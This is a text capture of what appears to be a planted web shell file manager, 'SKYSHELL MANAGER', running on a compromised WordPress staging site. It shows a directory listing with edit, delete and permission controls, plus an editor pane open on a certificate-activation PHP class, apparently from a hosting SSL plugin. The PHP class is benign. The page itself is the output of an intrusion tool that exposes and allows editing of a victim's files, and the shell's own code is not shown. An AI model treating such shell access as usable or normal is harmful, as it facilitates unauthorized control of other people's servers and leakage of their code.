📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: AbstractActivate.php
<?php namespace App\Service\Certificate; use App\Entity\User; use App\Exception\ActivateException; use App\Entity\Certificate as CertificateEntity; use App\Service\CpanelHelper; use App\Service\NcGatewayApi\Exceptions\NcGatewayApiException; use App\Service\NcGatewayApi\NcGatewayApi; use App\Service\NcPlugin\PluginException; use Doctrine\ORM\EntityManagerInterface; use Psr\Log\LoggerInterface; abstract class AbstractActivate { public const CSR_COUNTRY_NAME = 'US'; public const CSR_LOCALITY = 'Phoenix'; public const CSR_STATE = 'Arizona'; public const MESSAGE_START_ACTIVATION = 'Start activation for certId: %s'; public const MESSAGE_START_REISSUE = 'Start reissue for certId: %s'; public const MESSAGE_GET_ROOT_FOLDER = 'Get Root folder for domain: %s'; public const MESSAGE_GENERATE_PRIVATE_KEY = 'Generate private key'; public const MESSAGE_GENERATE_CSR = 'Generate CSR'; public const MESSAGE_RENAME_PRIVATE_KEY = 'Rename private key'; public const MESSAGE_EXTERNAL_CALL = 'Make external call'; public const MESSAGE_SAVE_CERTIFICATE = 'Save certificate: %s'; public const MESSAGE_SAVE_HTTP_DCV_FILE = 'Save HttpDcvFile for certificateId: %s'; public const START_ASYNC_ACTIVATION_MESSAGE = 'Start async activation for certId: %s'; public const CHANGE_CERTIFICATE_STATUS_TO_NEW_MESSAGE = 'Certificate status has been changed to new, for certId: %s'; public const MESSAGE_UNABLE_COMPLETE_DCV = 'SSL installation failed due to %s being missing from cPanel or a server access issue. Please <a href="https://support.namecheap.com/index.php?/Tickets/Submit" target="_blank" class="btn-link">contact support</a>'; public const MESSAGE_INVALID_DCV_FILE_VALIDATION = 'Invalid HttpDcvFile validation: %s'; public const MESSAGE_CANT_DEFINE_CPANEL_USER = 'Can\'t define cPanel user'; public const MESSAGE_NC_USER_MISSING = 'Nc user name missing'; public const MESSAGE_USER_NOT_FOUND = 'User not found in database for activate certificate'; public const DCV_FILE_APEX_SSL_COM = 'apex-verify.txt'; public const DCV_FILE_WWW_SSL_COM = 'www-verify.txt'; private string $privateKey; private string $csr; private string $cpanelUser; abstract protected function makeExternalCall(CertificateTransfer $certificateTransfer, string $csr, bool $isAsyncExternalCall): void; public function __construct(protected CpanelHelper $cpanelHelper, protected NcGatewayApi $ncGatewayApi, protected EntityManagerInterface $entityManager, protected LoggerInterface $logger, protected ProductManager $productManager) { } /** * @throws ActivateException */ protected function makeAction(CertificateTransfer $data, bool $isAsyncExternalCall = false): void { try { $this->generateCsr($data->getCertificateId(), $this->performCsrData($data->getCommonName())); $this->logger->notice(self::MESSAGE_EXTERNAL_CALL); $this->makeExternalCall($data, $this->getCsrRequest(), $isAsyncExternalCall); $this->logger->notice(self::MESSAGE_RENAME_PRIVATE_KEY); $this->cpanelHelper->renamePrivateKey($this->privateKey, $data->getCertificateId()); $this->logger->notice(sprintf(self::MESSAGE_SAVE_CERTIFICATE, $data->getCertificateId()), (array) $data); if (!$data->getNCUser()) { $this->logger->error(self::MESSAGE_NC_USER_MISSING, [ 'ncLogin' => $data->getNCUser(), 'certificateId' => $data->getCertificateId(), ]); throw new PluginException(self::MESSAGE_NC_USER_MISSING); } $user = $this->getUserFromRepository($data->getCPanelUser(), $data->getNCUser()); if (!$user) { // if user have never logged to plugin he doesn't have a ncLogin in db $user = $this->getUserFromRepository($data->getCPanelUser()); if (!$user) { $this->logger->error(self::MESSAGE_USER_NOT_FOUND, [ 'ncLogin' => $data->getNCUser(), 'certificateId' => $data->getCertificateId(), ]); throw new PluginException(self::MESSAGE_USER_NOT_FOUND); } $user->setNcLogin($data->getNCUser()); $this->logger->notice(sprintf('Set ncLogin for user: %s', $user->getName()), [ 'ncLogin' => $data->getNCUser(), ]); } $certificate = new CertificateEntity(); $certificate->setUser($user); $certificate->setNcId($data->getCertificateId()); $certificate->setNcStatus($data->getNCStatus()); $certificate->setNcUser($data->getNCUser()); $certificate->setHost($this->getHostName($data->getDomainName())); $certificate->setCommonName($data->getCommonName()); $certificate->setType($data->getCertType()); $certificate->setYears($data->getYears()); $certificate->setVendor($data->getVendor()); $certificate->setStatus(CertificateEntity::STATUS_INPROGRESS); $certificate->setPrivatekeyId($this->getPrivateKey()); $certificate->setAutoRedirect((bool)$user->getAutoRedirect()); $this->entityManager->persist($certificate); $this->entityManager->flush(); if ($this->checkValidationFile($data)) { $this->saveHttpDcvFile($data); } } catch (\Throwable $exception) { if ($exception instanceof NcGatewayApiException) { $message = sprintf('Plugin Exception error: %s, code: %s', $exception->getMessage(), $exception->getCode()); } else { $message = sprintf('Plugin Exception error: %s', $exception->getMessage()); } $this->logger->error($message, [$data->getDomainName()]); throw new ActivateException($exception->getMessage(), $exception->getCode(), $exception); } } /** * @param CertificateTransfer $certificateTransfer * * @throws PluginException */ public function saveHttpDcvFile(CertificateTransfer $certificateTransfer): void { $logPayload = [ 'certificateId' => $certificateTransfer->getCertificateId(), 'userName' => $certificateTransfer->getNCUser(), ]; $files = $certificateTransfer->getDcvFiles(); if (empty($files)) { $this->logger->notice('saveHttpDcvFile: skipping DCV file save, no files provided', $logPayload); return; } $this->logger->notice(sprintf(self::MESSAGE_SAVE_HTTP_DCV_FILE, $certificateTransfer->getCertificateId())); $this->cpanelUser = $certificateTransfer->getCPanelUser(); try { $domainDocRoot = $this->getDomainDocRoot($certificateTransfer->getDomainName()); } catch (\Exception $e) { $this->logger->error(sprintf('GetDomainDocRoot exception: %s', $e->getMessage()), $logPayload); throw new PluginException(sprintf(self::MESSAGE_UNABLE_COMPLETE_DCV, $certificateTransfer->getDomainName())); } $dir = $this->getDcvFilePath($domainDocRoot); foreach ($files as $file) { $targetName = $this->resolveDcvFileName($file, $certificateTransfer); $filePath = $dir . '/' . $targetName; $this->logger->notice(sprintf('saveHttpDcvFile path: %s (domain=%s)', $filePath, $file['domain']), $logPayload); // Always overwrite: SSL.com tokens have a ~30-day TTL and are re-issued on every order. $write_res = file_put_contents($filePath, $file['fileContent']); if ($write_res === false) { throw new PluginException(sprintf(self::MESSAGE_UNABLE_COMPLETE_DCV, $file['domain'] ?: $certificateTransfer->getDomainName())); } if ($this->cpanelUser) { chown($filePath, $this->cpanelUser); chgrp($filePath, $this->cpanelUser); } } $scanDirResults = print_r(scandir($dir), true); $this->logger->notice(sprintf('saveHttpDcvFile [scan dir]: %s', $scanDirResults), $logPayload); } /** * Resolve the on-disk filename for a DCV candidate. * * SSL.com (Standard SSL) needs a static file per FQDN — apex-verify.txt / www-verify.txt; * every other CA (e.g. Comodo / PositiveSSL) keeps Core's per-CSR <MD5>.txt filename. * * @param array{domain: string, fileName: string, fileContent: string} $file */ private function resolveDcvFileName(array $file, CertificateTransfer $certificateTransfer): string { $isSslCom = $this->productManager->isSslComCa($certificateTransfer->getCertType()); if (!$isSslCom) { return $file['fileName']; } $apex = $this->getHostName($certificateTransfer->getDomainName()); return strtolower($file['domain']) === 'www.' . $apex ? self::DCV_FILE_WWW_SSL_COM : self::DCV_FILE_APEX_SSL_COM; } /** * @param string $rootPath * @throws PluginException */ protected function validateDcvDataPath(string $rootPath): void { $this->getDcvFilePath($rootPath); if (!$this->checkDirWritable($rootPath)) { throw new PluginException('Can\'t create validation file in host docroot folder. [' . $rootPath . ']'); } } /** * @param string $domainName * * @return mixed|null * * @throws PluginException */ public function getDomainDocRoot(string $domainName): mixed { $this->logger->notice(sprintf(self::MESSAGE_GET_ROOT_FOLDER, $domainName)); $domain = $this->getHostName($domainName); $domainDocRoot = $this->cpanelHelper->getDomainDocRoot($domain); $this->validateDcvDataPath($domainDocRoot); return $domainDocRoot; } protected function getDcvFilePath(string $docRoot): string { $dcvDataPath = '/.well-known/pki-validation'; $destinationPath = $docRoot . $dcvDataPath; if (!is_dir($destinationPath)) { if (!mkdir($destinationPath, 0755, true) && !is_dir($destinationPath)) { throw new \RuntimeException(sprintf('Directory "%s" was not created', $destinationPath)); } } $this->changeOwner($docRoot, $dcvDataPath); return $destinationPath; } /** * @param string $root * @param string $path */ protected function changeOwner(string $root, string $path): void { if (!$this->cpanelUser) { return; } $path = trim($path, '/'); $chunks = explode('/', $path); $curPath = $root . '/' . array_shift($chunks); chown($curPath, $this->cpanelUser); chgrp($curPath, $this->cpanelUser); if (count($chunks)) { $this->changeOwner($curPath, implode('/', $chunks)); } } /** * @param string $dir * @return bool */ protected function checkDirWritable(string $dir): bool { $tst_filename = md5(time()); $write_res = file_put_contents($dir . '/' . $tst_filename, $tst_filename); if ($write_res === false) { return false; } unlink($dir . '/' . $tst_filename); return true; } /** * @param string $host * @return string */ public function getHostName(string $host = ''): string { if (str_starts_with($host, 'www.')) { $host = substr($host, 4); } return $host; } /** * @param string $certificateId * @param array $csrDetails * @throws PluginException */ public function generateCsr(string $certificateId, array $csrDetails = []): void { $this->logger->notice(self::MESSAGE_GENERATE_PRIVATE_KEY); $this->privateKey = $this->cpanelHelper->generatePrivateKey($certificateId); $this->logger->notice(self::MESSAGE_GENERATE_CSR); $this->csr = $this->cpanelHelper->generateCsr($this->privateKey, $csrDetails); } public function getCsrRequest(): ?string { return $this->csr; } public function getPrivateKey(): string { return $this->privateKey; } /** * @param string $commonName * @return array */ public function performCsrData(string $commonName = ''): array { return [ 'domains' => $commonName, 'countryName' => self::CSR_COUNTRY_NAME, 'stateOrProvinceName' => self::CSR_STATE, 'localityName' => self::CSR_LOCALITY, 'organizationName' => $commonName, ]; } public static function getFormPrefilling(array $userInfo): array { return [ 'email' => $userInfo['default_address']['email'], ]; } protected function checkValidationFile(CertificateTransfer $certificateTransfer): bool { return !empty($certificateTransfer->getDcvFiles()); } /** * Normalise the gateway response into a DCV candidate list, tolerating both the new * `dcv[]` field (one record per FQDN) and the legacy flat fileName/fileContent shape, * so gateway and plugin can be deployed independently. * * @return array<int, array{domain: string, fileName: string, fileContent: string}> */ protected function extractDcvList(array $result, string $fallbackDomain): array { if (isset($result['dcv']) && is_array($result['dcv'])) { return array_values($result['dcv']); } if (!empty($result['fileName']) && !empty($result['fileContent'])) { return [[ 'domain' => $fallbackDomain, 'fileName' => $result['fileName'], 'fileContent' => $result['fileContent'], ]]; } return []; } protected function getUserFromRepository(string $cPanelUser, string $ncUser = null): ?User { return $this->entityManager->getRepository(User::class)->findOneBy([ 'name' => $cPanelUser, 'ncLogin' => $ncUser, ]); } }
Save